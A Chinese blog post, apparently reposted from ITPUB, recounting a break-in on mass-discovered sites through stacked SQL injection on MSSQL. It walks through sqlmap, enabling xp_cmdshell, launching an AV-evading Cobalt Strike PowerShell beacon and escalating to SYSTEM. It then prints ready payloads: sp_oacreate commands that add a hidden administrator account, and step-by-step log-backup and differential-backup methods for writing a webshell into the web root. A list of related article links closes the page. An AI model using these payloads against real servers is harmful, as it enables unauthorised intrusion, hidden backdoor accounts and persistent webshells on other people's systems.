記一次堆疊注入拿shell的總結
0x01 前言
0x02 堆疊注入
因為在sql查詢語句中, 分號“;”代表查詢語句的結束,所以在執行sql語句結尾分號的後面,再加一條sql語句,就造成了堆疊注入。
這種情況很像聯合查詢,他們的區別就在於聯合查詢執行的語句是有限的,只能用來執行查詢語句,而堆疊注入可以執行任意語句。
菜雞不會審計php程式碼,這裡就不貼sql語句的原始碼了。
0x03 滲透過程
先fofa批次找一下目標
前臺的頁面,首先懟一波弱口令
其實有幾個是可以弱口令直接進後臺的,但是後臺沒有任何的getshell點
那就只能在後臺的登入視窗試一試有沒有注入了,抓包測試一下
發現有注入點,直接上sqlmap一把梭,直接出了mssql 資料庫,而且是堆疊注入。
這裡想直接 --os-shell,想起來堆疊注入後面的語句是沒有回顯的,再換個思路。
ping 下 dnslog 看看是否可以直接執行命令,看來是可以執行命令的
再換個思路,嘗試用xp_cmdshell,手工開啟xp_cmdshell ,發現函式沒有被禁用 ,可以執行命令
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
嘗試直接注入cs的powershell上線,好傢伙,直接上線 ,看來函式沒有被禁用
EXEC master..xp_cmdshell’免殺powershell命令’
甜土豆提權到system
連xp_cmdshell命令都沒有禁用,想來也不會有什麼殺軟。
首先看了一下程式,emmm 那麼多powershell程式......沒有啥玩的必要了。可以嘗試溯源一波,下篇文章發。
也沒有內網,收工。
0x03 總結
1. sp_configure函式
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0;
執行系統命令, 注意沒有回顯 ,下面的命令新增一個影子使用者並加入管理員組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack$ 0r@nge /add';declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 0r@nge$ /add';
注: 很多情況上面兩個函式並不能執行(存在殺軟),mssql資料庫可以用以下兩個方法。
2. log備份寫shell
前提條件:
資料庫存在注入使用者具有讀寫許可權,一般至少DBO許可權有網站的具體路徑站庫不分離
利用步驟:
1.修改資料庫為還原模式(恢復模式):;alter database 庫名 set RECOVERY FULL –-2.建表和欄位;create table orange(a image)--3.備份資料庫;backup log 資料庫名 to disk = ‘c:\www\0r@nge1.bak’ with init –4.往表中寫入一句話;insert into orange(a) values (0x...)-- //值要進行hex進位制轉換下5.利用log備份到web的物理路徑;backup log 資料庫名 to disk = 'c:\www\0r@nge2.php' with init--6.刪除表;Drop table orange--
3. 差異備份寫shell
概念: 備份自上一次完全備份之後有變化的資料。差異備份過程中,只備份有標記的那些選中的檔案和資料夾。它不清除標記,也即備份後不標記為已備份檔案。換言之,不清除存檔屬性。
用人話說就是:第二次備份的時候,與上一次完全備份的時候作對比,把不同的內容備份下來,所以只要插入我們的一句話木馬,再備份一下,一句話就會被寫到資料庫中。
有網站具體路徑有可寫許可權(dbo許可權以上)站庫不分離
利用步驟:
1.備份資料庫;backup database 資料庫名 to disk = 'C:\www\\...' with init --2.建立表格%';create table orange(a image) --3.寫入webshell%';insert into orange(a) values (0xxxxx) --4.進行差異備份%';backup log 資料庫名 to disk = 'C:\www\orange.asp' WITH DIFFERENTIAL,FORMAT;--5.刪除表;Drop table orange--
這些都是理論,實戰中可能被各種過濾,還需要修改payload進行具體繞過。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/70013542/viewspace-2922689/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- C中關於堆疊的總結
- sql注入之堆疊注入及waf繞過注入SQL
- SQL隱碼攻擊-堆疊注入SQL
- 記憶體堆疊記憶體
- 最新堆疊查詢注入攻擊和注入程式碼分析技術
- Java 堆疊記憶體分配Java記憶體
- JS中堆疊記憶體的練習JS記憶體
- javascript堆疊記憶體分配的區別JavaScript記憶體
- JS 堆疊JS
- java堆疊Java
- 平衡堆疊
- 堆疊圖
- 堆疊的工作原理
- 圖的深度優先遍歷[非堆疊、堆疊實現]
- 堆疊和記憶體的關係 細說記憶體
- [演算法總結] 6 道題搞定 BAT 面試——堆疊和佇列演算法BAT面試佇列
- Thrift的網路堆疊
- 模板注入總結
- C#中堆和堆疊的區別C#
- 堆疊的應用——用JavaScript描述資料結構JavaScript資料結構
- shell總結
- JAVA的堆疊和記憶體、垃圾回收解說Java記憶體
- Java堆疊的深度分析及記憶體管理技巧Java記憶體
- windows核心程式設計--記憶體堆疊Windows程式設計記憶體
- ThreadDump分析筆記(一) 解讀堆疊thread筆記
- 圖的深度優先遍歷(堆疊實現和非堆疊實現)
- 【面試總結】記一次失敗的 bilibili 面試總結(3)面試
- 【面試總結】記一次失敗的 bilibili 面試總結(2)面試
- 【面試總結】記一次失敗的 bilibili 面試總結(1)面試
- C#堆疊(Stack)C#
- C#資料結構篇(二 堆疊) (轉)C#資料結構
- 記一次dg故障的處理總結
- 記一次Elasticsearch優化總結Elasticsearch優化
- SHell命令總結
- Java堆疊的區別有哪些Java
- 陣列、連結串列、堆疊和佇列學習陣列佇列
- .Net防sql注入的方法總結SQL
- [golang]如何看懂呼叫堆疊Golang